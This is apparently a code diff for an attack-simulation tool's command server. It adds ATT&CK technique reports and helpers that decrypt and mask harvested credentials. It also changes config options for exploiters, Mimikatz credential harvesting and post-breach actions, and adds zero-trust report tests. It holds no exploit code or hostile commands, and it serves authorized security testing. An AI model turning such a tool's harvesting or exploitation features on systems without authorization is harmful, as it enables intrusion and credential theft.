+ unscanned_msg = "Monkey didn't use multi-hop proxy."
+ scanned_msg = ""
+ used_msg = "Monkey used multi-hop proxy."
+
+ @staticmethod
+ def get_report_data():
+ monkeys = Monkey.get_tunneled_monkeys()
+ hops = []
+ for monkey in monkeys:
+ proxy_count = 0
+ proxy = initial = monkey
+ while proxy.tunnel:
+ proxy_count += 1
+ proxy = proxy.tunnel
+ if proxy_count > 1:
+ hops.append({'from': initial.get_network_info(),
+ 'to': proxy.get_network_info(),
+ 'count': proxy_count})
+ status = ScanStatus.USED.value if hops else ScanStatus.UNSCANNED.value
+ data = T1188.get_base_data_by_status(status)
+ data.update({'hops': hops})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
index 6e89bc6ab..eeae183f5 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
@@ -18,11 +18,11 @@ class T1210(AttackTechnique):
scanned_services = T1210.get_scanned_services()
exploited_services = T1210.get_exploited_services()
if exploited_services:
- status = ScanStatus.USED
+ status = ScanStatus.USED.value
elif scanned_services:
- status = ScanStatus.SCANNED
+ status = ScanStatus.SCANNED.value
else:
- status = ScanStatus.UNSCANNED
+ status = ScanStatus.UNSCANNED.value
data.update(T1210.get_message_and_status(status))
data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py
new file mode 100644
index 000000000..940c9e8ea
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py
@@ -0,0 +1,24 @@
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+
+__author__ = "VakarisZ"
+
+
+class T1222(AttackTechnique):
+ tech_id = "T1222"
+ unscanned_msg = "Monkey didn't try to change any file permissions."
+ scanned_msg = "Monkey tried to change file permissions, but failed."
+ used_msg = "Monkey successfully changed file permissions in network systems."
+
+ query = [{'$match': {'telem_category': 'attack',
+ 'data.technique': 'T1222',
+ 'data.status': ScanStatus.USED.value}},
+ {'$group': {'_id': {'machine': '$data.machine', 'status': '$data.status', 'command': '$data.command'}}},
+ {"$replaceRoot": {"newRoot": "$_id"}}]
+
+ @staticmethod
+ def get_report_data():
+ data = T1222.get_tech_base_data()
+ data.update({'commands': list(mongo.db.telemetry.aggregate(T1222.query))})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
index cc4d13355..b5f100bd1 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
@@ -1,10 +1,13 @@
import abc
+import logging
from monkey_island.cc.database import mongo
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.attack_config import AttackConfig
from common.utils.code_utils import abstractstatic
+logger = logging.getLogger(__name__)
+
class AttackTechnique(object, metaclass=abc.ABCMeta):
""" Abstract class for ATT&CK report components """
@@ -49,38 +52,38 @@ class AttackTechnique(object, metaclass=abc.ABCMeta):
def technique_status(cls):
"""
Gets the status of a certain attack technique.
- :return: ScanStatus Enum object
+ :return: ScanStatus numeric value
"""
- if mongo.db.attack_results.find_one({'telem_category': 'attack',
- 'status': ScanStatus.USED.value,
- 'technique': cls.tech_id}):
- return ScanStatus.USED
- elif mongo.db.attack_results.find_one({'telem_category': 'attack',
- 'status': ScanStatus.SCANNED.value,
- 'technique': cls.tech_id}):
- return ScanStatus.SCANNED
+ if mongo.db.telemetry.find_one({'telem_category': 'attack',
+ 'data.status': ScanStatus.USED.value,
+ 'data.technique': cls.tech_id}):
+ return ScanStatus.USED.value
+ elif mongo.db.telemetry.find_one({'telem_category': 'attack',
+ 'data.status': ScanStatus.SCANNED.value,
+ 'data.technique': cls.tech_id}):
+ return ScanStatus.SCANNED.value
else:
- return ScanStatus.UNSCANNED
+ return ScanStatus.UNSCANNED.value
@classmethod
def get_message_and_status(cls, status):
"""
Returns a dict with attack technique's message and status.
- :param status: Enum type value from common/attack_utils.py
+ :param status: Enum from common/attack_utils.py integer value
:return: Dict with message and status
"""
- return {'message': cls.get_message_by_status(status), 'status': status.name}
+ return {'message': cls.get_message_by_status(status), 'status': status}
@classmethod
def get_message_by_status(cls, status):
"""
Picks a message to return based on status.
- :param status: Enum type value from common/attack_utils.py
+ :param status: Enum from common/attack_utils.py integer value
:return: message string
"""
- if status == ScanStatus.UNSCANNED:
+ if status == ScanStatus.UNSCANNED.value:
return cls.unscanned_msg
- elif status == ScanStatus.SCANNED:
+ elif status == ScanStatus.SCANNED.value:
return cls.scanned_msg
else:
return cls.used_msg
@@ -96,12 +99,12 @@ class AttackTechnique(object, metaclass=abc.ABCMeta):
def get_tech_base_data(cls):
"""
Gathers basic attack technique data into a dict.
- :return: dict E.g. {'message': 'Brute force used', 'status': 'Used', 'title': 'T1110 Brute force'}
+ :return: dict E.g. {'message': 'Brute force used', 'status': 2, 'title': 'T1110 Brute force'}
"""
data = {}
status = cls.technique_status()
title = cls.technique_title()
- data.update({'status': status.name,
+ data.update({'status': status,
'title': title,
'message': cls.get_message_by_status(status)})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py
new file mode 100644
index 000000000..05cef3684
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py
@@ -0,0 +1,46 @@
+from monkey_island.cc.encryptor import encryptor
+
+
+def parse_creds(attempt):
+ """
+ Parses used credentials into a string
+ :param attempt: login attempt from database
+ :return: string with username and used password/hash
+ """
+ username = attempt['user']
+ creds = {'lm_hash': {'type': 'LM hash', 'output': censor_hash(attempt['lm_hash'])},
+ 'ntlm_hash': {'type': 'NTLM hash', 'output': censor_hash(attempt['ntlm_hash'], 20)},
+ 'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']},
+ 'password': {'type': 'Plaintext password', 'output': censor_password(attempt['password'])}}
+ for key, cred in creds.items():
+ if attempt[key]:
+ return '%s ; %s : %s' % (username,
+ cred['type'],
+ cred['output'])
+
+
+def censor_password(password, plain_chars=3, secret_chars=5):
+ """
+ Decrypts and obfuscates password by changing characters to *
+ :param password: Password or string to obfuscate
+ :param plain_chars: How many plain-text characters should be kept at the start of the string
+ :param secret_chars: How many * symbols should be used to hide the remainder of the password
+ :return: Obfuscated string e.g. Pass****
+ """
+ if not password:
+ return ""
+ password = encryptor.dec(password)
+ return password[0:plain_chars] + '*' * secret_chars
+
+
+def censor_hash(hash_, plain_chars=5):
+ """
+ Decrypts and obfuscates hash by only showing a part of it
+ :param hash_: Hash to obfuscate
+ :param plain_chars: How many chars of hash should be shown
+ :return: Obfuscated string
+ """
+ if not hash_:
+ return ""
+ hash_ = encryptor.dec(hash_)
+ return hash_[0: plain_chars] + ' ...'
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py
new file mode 100644
index 000000000..69f178e1c
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py
@@ -0,0 +1,53 @@
+import abc
+
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique, logger
+from common.utils.attack_utils import UsageEnum
+
+
+class UsageTechnique(AttackTechnique):
+ __metaclass__ = abc.ABCMeta
+
+ @staticmethod
+ def parse_usages(usage):
+ """
+ Parses data from database and translates usage enums into strings
+ :param usage: Usage telemetry that contains fields: {'usage': 'SMB', 'status': 1}
+ :return: usage string
+ """
+ try:
+ usage['usage'] = UsageEnum[usage['usage']].value[usage['status']]
+ except KeyError:
+ logger.error("Error translating usage enum. into string. "
+ "Check if usage enum field exists and covers all telem. statuses.")
+ return usage
+
+ @classmethod
+ def get_usage_data(cls):
+ """
+ Gets data of usage attack telemetries
+ :return: parsed list of usages from attack telemetries of usage type
+ """
+ data = list(mongo.db.telemetry.aggregate(cls.get_usage_query()))
+ return list(map(cls.parse_usages, data))
+
+ @classmethod
+ def get_usage_query(cls):
+ """
+ :return: Query that parses attack telemetries for a simple report component
+ (gets machines and attack technique usage).
+ """
+ return [{'$match': {'telem_category': 'attack',
+ 'data.technique': cls.tech_id}},
+ {'$lookup': {'from': 'monkey',
+ 'localField': 'monkey_guid',
+ 'foreignField': 'guid',
+ 'as': 'monkey'}},
+ {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
+ 'status': '$data.status',
+ 'usage': '$data.usage'}},
+ {'$addFields': {'_id': 0,
+ 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
+ 'monkey': 0}},
+ {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}},
+ {"$replaceRoot": {"newRoot": "$_id"}}]
diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py
index 333c42263..621c9badf 100644
--- a/monkey/monkey_island/cc/services/config_schema.py
+++ b/monkey/monkey_island/cc/services/config_schema.py
@@ -14,7 +14,7 @@ SCHEMA = {
"SmbExploiter"
],
"title": "SMB Exploiter",
- "attack_techniques": ["T1110", "T1075"]
+ "attack_techniques": ["T1110", "T1075", "T1035"]
},
{
"type": "string",
@@ -22,7 +22,7 @@ SCHEMA = {
"WmiExploiter"
],
"title": "WMI Exploiter",
- "attack_techniques": ["T1110"]
+ "attack_techniques": ["T1110", "T1106"]
},
{
"type": "string",
@@ -32,14 +32,6 @@ SCHEMA = {
"title": "MSSQL Exploiter",
"attack_techniques": ["T1110"]
},
- {
- "type": "string",
- "enum": [
- "RdpExploiter"
- ],
- "title": "RDP Exploiter (UNSAFE)",
- "attack_techniques": []
- },
{
"type": "string",
"enum": [
@@ -54,7 +46,7 @@ SCHEMA = {
"SSHExploiter"
],
"title": "SSH Exploiter",
- "attack_techniques": ["T1110", "T1145"]
+ "attack_techniques": ["T1110", "T1145", "T1106"]
},
{
"type": "string",
@@ -119,6 +111,14 @@ SCHEMA = {
"title": "Back door user",
"attack_techniques": []
},
+ {
+ "type": "string",
+ "enum": [
+ "CommunicateAsNewUser"
+ ],
+ "title": "Communicate as new user",
+ "attack_techniques": []
+ },
],
},
"finger_classes": {
@@ -337,6 +337,7 @@ SCHEMA = {
"$ref": "#/definitions/post_breach_acts"
},
"default": [
+ "CommunicateAsNewUser"
],
"description": "List of actions the Monkey will run post breach"
},
@@ -414,7 +415,7 @@ SCHEMA = {
"title": "Harvest Azure Credentials",
"type": "boolean",
"default": True,
- "attack_techniques": ["T1003", "T1078"],
+ "attack_techniques": ["T1003"],
"description":
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
},
@@ -422,14 +423,14 @@ SCHEMA = {
"title": "Collect system info",
"type": "boolean",
"default": True,
- "attack_techniques": ["T1082"],
+ "attack_techniques": ["T1082", "T1005", "T1016"],
"description": "Determines whether to collect system info"
},
"should_use_mimikatz": {
"title": "Should use Mimikatz",
"type": "boolean",
"default": True,
- "attack_techniques": ["T1003", "T1078"],
+ "attack_techniques": ["T1003"],
"description": "Determines whether to use Mimikatz"
},
}
@@ -791,19 +792,6 @@ SCHEMA = {
}
}
},
- "rdp_grinder": {
- "title": "RDP grinder",
- "type": "object",
- "properties": {
- "rdp_use_vbs_download": {
- "title": "Use VBS download",
- "type": "boolean",
- "default": True,
- "description": "Determines whether to use VBS or BITS to download monkey to remote machine"
- " (true=VBS, false=BITS)"
- }
- }
- },
"sambacry": {
"title": "SambaCry",
"type": "object",
diff --git a/monkey/monkey_island/cc/services/configuration/__init__.py b/monkey/monkey_island/cc/services/configuration/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/services/configuration/utils.py b/monkey/monkey_island/cc/services/configuration/utils.py
new file mode 100644
index 000000000..34d6a9bb5
--- /dev/null
+++ b/monkey/monkey_island/cc/services/configuration/utils.py
@@ -0,0 +1,5 @@
+from monkey_island.cc.services.config import ConfigService
+
+
+def get_config_network_segments_as_subnet_groups():
+ return [ConfigService.get_config_value(['basic_network', 'network_analysis', 'inaccessible_subnets'])]
diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py
index 9da76b358..2c75d7187 100644
--- a/monkey/monkey_island/cc/services/node.py
+++ b/monkey/monkey_island/cc/services/node.py
@@ -247,6 +247,12 @@ class NodeService:
{'$set': props_to_set},
upsert=False)
+ @staticmethod
+ def add_communication_info(monkey, info):
+ mongo.db.monkey.update({"guid": monkey["guid"]},
+ {"$set": {'command_control_channel': info}},
+ upsert=False)
+
@staticmethod
def get_monkey_island_monkey():
ip_addresses = local_ip_addresses()
diff --git a/monkey/monkey_island/cc/services/reporting/__init__.py b/monkey/monkey_island/cc/services/reporting/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
similarity index 95%
rename from monkey/monkey_island/cc/resources/aws_exporter.py
rename to monkey/monkey_island/cc/services/reporting/aws_exporter.py
index 7e1f17c48..84940df56 100644
--- a/monkey/monkey_island/cc/resources/aws_exporter.py
+++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
@@ -7,7 +7,7 @@ from botocore.exceptions import UnknownServiceError
from common.cloud.aws_instance import AwsInstance
from monkey_island.cc.environment.environment import load_server_configuration_from_file
-from monkey_island.cc.resources.exporter import Exporter
+from monkey_island.cc.services.reporting.exporter import Exporter
__authors__ = ['maor.rayzin', 'shay.nehmad']
@@ -58,7 +58,6 @@ class AWSExporter(Exporter):
'wmi_password': AWSExporter._handle_wmi_password_issue,
'wmi_pth': AWSExporter._handle_wmi_pth_issue,
'ssh_key': AWSExporter._handle_ssh_key_issue,
- 'rdp': AWSExporter._handle_rdp_issue,
'shared_passwords_domain': AWSExporter._handle_shared_passwords_domain_issue,
'shared_admins_domain': AWSExporter._handle_shared_admins_domain_issue,
'strong_users_on_crit': AWSExporter._handle_strong_users_on_crit_issue,
@@ -305,20 +304,6 @@ class AWSExporter(Exporter):
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
- @staticmethod
- def _handle_rdp_issue(issue, instance_arn):
-
- return AWSExporter._build_generic_finding(
- severity=1,
- title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
- description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
- issue['username']),
- recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format(
- machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
- instance_arn=instance_arn,
- instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
- )
-
@staticmethod
def _handle_shared_passwords_domain_issue(issue, instance_arn):
diff --git a/monkey/monkey_island/cc/resources/exporter.py b/monkey/monkey_island/cc/services/reporting/exporter.py
similarity index 100%
rename from monkey/monkey_island/cc/resources/exporter.py
rename to monkey/monkey_island/cc/services/reporting/exporter.py
diff --git a/monkey/monkey_island/cc/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py
similarity index 60%
rename from monkey/monkey_island/cc/exporter_init.py
rename to monkey/monkey_island/cc/services/reporting/exporter_init.py
index fdf26fe8f..bd4e82f3e 100644
--- a/monkey/monkey_island/cc/exporter_init.py
+++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py
@@ -1,16 +1,16 @@
import logging
-from monkey_island.cc.report_exporter_manager import ReportExporterManager
-from monkey_island.cc.resources.aws_exporter import AWSExporter
+from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager
+from monkey_island.cc.services.reporting.aws_exporter import AWSExporter
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
-
+from monkey_island.cc.environment.environment import env
logger = logging.getLogger(__name__)
def populate_exporter_list():
manager = ReportExporterManager()
RemoteRunAwsService.init()
- if RemoteRunAwsService.is_running_on_aws():
+ if RemoteRunAwsService.is_running_on_aws() and ('aws' == env.get_deployment()):
manager.add_exporter_to_list(AWSExporter)
if len(manager.get_exporters_list()) != 0:
diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/reporting/pth_report.py
similarity index 100%
rename from monkey/monkey_island/cc/services/pth_report.py
rename to monkey/monkey_island/cc/services/reporting/pth_report.py
diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/reporting/report.py
similarity index 95%
rename from monkey/monkey_island/cc/services/report.py
rename to monkey/monkey_island/cc/services/reporting/report.py
index e49e60d81..f00fbc22c 100644
--- a/monkey/monkey_island/cc/services/report.py
+++ b/monkey/monkey_island/cc/services/reporting/report.py
@@ -9,14 +9,16 @@ from enum import Enum
from six import text_type
+from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
from monkey_island.cc.database import mongo
from monkey_island.cc.models import Monkey
-from monkey_island.cc.report_exporter_manager import ReportExporterManager
+from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager
from monkey_island.cc.services.config import ConfigService
+from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups
from monkey_island.cc.services.edge import EdgeService
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.utils import local_ip_addresses, get_subnets
-from .pth_report import PTHReportService
+from monkey_island.cc.services.reporting.pth_report import PTHReportService
from common.network.network_range import NetworkRange
__author__ = "itay.mizeretz"
@@ -34,7 +36,6 @@ class ReportService:
'SmbExploiter': 'SMB Exploiter',
'WmiExploiter': 'WMI Exploiter',
'SSHExploiter': 'SSH Exploiter',
- 'RdpExploiter': 'RDP Exploiter',
'SambaCryExploiter': 'SambaCry Exploiter',
'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
'Ms08_067_Exploiter': 'Conficker Exploiter',
@@ -287,12 +288,6 @@ class ReportService:
processed_exploit['type'] = 'ssh'
return processed_exploit
- @staticmethod
- def process_rdp_exploit(exploit):
- processed_exploit = ReportService.process_general_creds_exploit(exploit)
- processed_exploit['type'] = 'rdp'
- return processed_exploit
-
@staticmethod
def process_vsftpd_exploit(exploit):
processed_exploit = ReportService.process_general_creds_exploit(exploit)
@@ -357,7 +352,6 @@ class ReportService:
'SmbExploiter': ReportService.process_smb_exploit,
'WmiExploiter': ReportService.process_wmi_exploit,
'SSHExploiter': ReportService.process_ssh_exploit,
- 'RdpExploiter': ReportService.process_rdp_exploit,
'SambaCryExploiter': ReportService.process_sambacry_exploit,
'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
@@ -423,23 +417,6 @@ class ReportService:
return issues
- @staticmethod
- def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet):
- """
- Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet.
- :param ip_addresses: List of IP addresses to test.
- :param source_subnet: Subnet to want an IP to not be in.
- :param target_subnet: Subnet we want an IP to be in.
- :return:
- """
- for ip_address in ip_addresses:
- if target_subnet.is_in_range(ip_address):
- return None
- for ip_address in ip_addresses:
- if source_subnet.is_in_range(ip_address):
- return ip_address
- return None
-
@staticmethod
def get_cross_segment_issues_of_single_machine(source_subnet_range, target_subnet_range):
"""
@@ -502,9 +479,9 @@ class ReportService:
target_ip = scan['data']['machine']['ip_addr']
if target_subnet_range.is_in_range(text_type(target_ip)):
monkey = NodeService.get_monkey_by_guid(scan['monkey_guid'])
- cross_segment_ip = ReportService.get_ip_in_src_and_not_in_dst(monkey['ip_addresses'],
- source_subnet_range,
- target_subnet_range)
+ cross_segment_ip = get_ip_in_src_and_not_in_dst(monkey['ip_addresses'],
+ source_subnet_range,
+ target_subnet_range)
if cross_segment_ip is not None:
cross_segment_issues.append(
@@ -552,7 +529,7 @@ class ReportService:
cross_segment_issues = []
# For now the feature is limited to 1 group.
- subnet_groups = [ConfigService.get_config_value(['basic_network', 'network_analysis', 'inaccessible_subnets'])]
+ subnet_groups = get_config_network_segments_as_subnet_groups()
for subnet_group in subnet_groups:
cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group(scans, subnet_group)
diff --git a/monkey/monkey_island/cc/report_exporter_manager.py b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py
similarity index 73%
rename from monkey/monkey_island/cc/report_exporter_manager.py
rename to monkey/monkey_island/cc/services/reporting/report_exporter_manager.py
index c0e538258..f308a7933 100644
--- a/monkey/monkey_island/cc/report_exporter_manager.py
+++ b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py
@@ -25,9 +25,9 @@ class ReportExporterManager(object, metaclass=Singleton):
self._exporters_set.add(exporter)
def export(self, report):
- try:
- for exporter in self._exporters_set:
- logger.debug("Trying to export using " + repr(exporter))
+ for exporter in self._exporters_set:
+ logger.debug("Trying to export using " + repr(exporter))
+ try:
exporter().handle_report(report)
- except Exception as e:
- logger.exception('Failed to export report, error: ' + e.message)
+ except Exception as e:
+ logger.exception('Failed to export report, error: ' + e.message)
diff --git a/monkey/monkey_island/cc/services/test_PTHReportService.py b/monkey/monkey_island/cc/services/reporting/test_pth_report.py
similarity index 96%
rename from monkey/monkey_island/cc/services/test_PTHReportService.py
rename to monkey/monkey_island/cc/services/reporting/test_pth_report.py
index 7c4d4229b..7c709f862 100644
--- a/monkey/monkey_island/cc/services/test_PTHReportService.py
+++ b/monkey/monkey_island/cc/services/reporting/test_pth_report.py
@@ -1,7 +1,7 @@
import uuid
from monkey_island.cc.models import Monkey
-from monkey_island.cc.services.pth_report import PTHReportService
+from monkey_island.cc.services.reporting.pth_report import PTHReportService
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
new file mode 100644
index 000000000..46b4fefd7
--- /dev/null
+++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
@@ -0,0 +1,285 @@
+from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService
+
+from common.data.zero_trust_consts import *
+from monkey_island.cc.models.zero_trust.finding import Finding
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+
+
+def save_example_findings():
+ # arrange
+ Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, []) # devices passed = 1
+ Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, []) # devices passed = 2
+ Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_FAILED, []) # devices failed = 1
+ # devices unexecuted = 1
+ # people verify = 1
+ # networks verify = 1
+ Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_VERIFY, [])
+ # people verify = 2
+ # networks verify = 2
+ Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_VERIFY, [])
+ # data failed 1
+ Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, [])
+ # data failed 2
+ Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, [])
+ # data failed 3
+ Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, [])
+ # data failed 4
+ Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, [])
+ # data failed 5
+ Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, [])
+ # data verify 1
+ Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_VERIFY, [])
+ # data verify 2
+ Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_VERIFY, [])
+ # data passed 1
+ Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_PASSED, [])
+
+
+class TestZeroTrustService(IslandTestCase):
+ def test_get_pillars_grades(self):
+ self.fail_if_not_testing_env()
+ self.clean_finding_db()
+
+ save_example_findings()
+
+ expected = [
+ {
+ STATUS_FAILED: 5,
+ STATUS_VERIFY: 2,
+ STATUS_PASSED: 1,
+ STATUS_UNEXECUTED: 1,
+ "pillar": "Data"
+ },
+ {
+ STATUS_FAILED: 0,
+ STATUS_VERIFY: 2,
+ STATUS_PASSED: 0,
+ STATUS_UNEXECUTED: 1,
+ "pillar": "People"
+ },
+ {
+ STATUS_FAILED: 0,
+ STATUS_VERIFY: 2,
+ STATUS_PASSED: 0,
+ STATUS_UNEXECUTED: 4,
+ "pillar": "Networks"
+ },
+ {
+ STATUS_FAILED: 1,
+ STATUS_VERIFY: 0,
+ STATUS_PASSED: 2,
+ STATUS_UNEXECUTED: 1,
+ "pillar": "Devices"
+ },
+ {
+ STATUS_FAILED: 0,
+ STATUS_VERIFY: 0,
+ STATUS_PASSED: 0,
+ STATUS_UNEXECUTED: 0,
+ "pillar": "Workloads"
+ },
+ {
+ STATUS_FAILED: 0,
+ STATUS_VERIFY: 0,
+ STATUS_PASSED: 0,
+ STATUS_UNEXECUTED: 3,
+ "pillar": "Visibility & Analytics"
+ },
+ {
+ STATUS_FAILED: 0,
+ STATUS_VERIFY: 0,
+ STATUS_PASSED: 0,
+ STATUS_UNEXECUTED: 0,
+ "pillar": "Automation & Orchestration"
+ }
+ ]
+
+ result = ZeroTrustService.get_pillars_grades()
+
+ self.assertEquals(result, expected)
+
+ def test_get_principles_status(self):
+ self.fail_if_not_testing_env()
+ self.clean_finding_db()
+
+ self.maxDiff = None
+
+ save_example_findings()
+
+ expected = {
+ AUTOMATION_ORCHESTRATION: [],
+ DATA: [
+ {
+ "principle": PRINCIPLES[PRINCIPLE_DATA_TRANSIT],
+ "status": STATUS_FAILED,
+ "tests": [
+ {
+ "status": STATUS_FAILED,
+ "test": TESTS_MAP[TEST_DATA_ENDPOINT_HTTP][TEST_EXPLANATION_KEY]
+ },
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_DATA_ENDPOINT_ELASTIC][TEST_EXPLANATION_KEY]
+ },
+ ]
+ }
+ ],
+ DEVICES: [
+ {
+ "principle": PRINCIPLES[PRINCIPLE_ENDPOINT_SECURITY],
+ "status": STATUS_FAILED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_MACHINE_EXPLOITED][TEST_EXPLANATION_KEY]
+ },
+ {
+ "status": STATUS_FAILED,
+ "test": TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS][TEST_EXPLANATION_KEY]
+ },
+ ]
+ }
+ ],
+ NETWORKS: [
+ {
+ "principle": PRINCIPLES[PRINCIPLE_SEGMENTATION],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_SEGMENTATION][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ {
+ "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR],
+ "status": STATUS_VERIFY,
+ "tests": [
+ {
+ "status": STATUS_VERIFY,
+ "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ {
+ "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ {
+ "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ {
+ "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ ],
+ PEOPLE: [
+ {
+ "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR],
+ "status": STATUS_VERIFY,
+ "tests": [
+ {
+ "status": STATUS_VERIFY,
+ "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ {
+ "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
+ }
+ ]
+ }
+ ],
+ VISIBILITY_ANALYTICS: [
+ {
+ "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ {
+ "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ {
+ "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES],
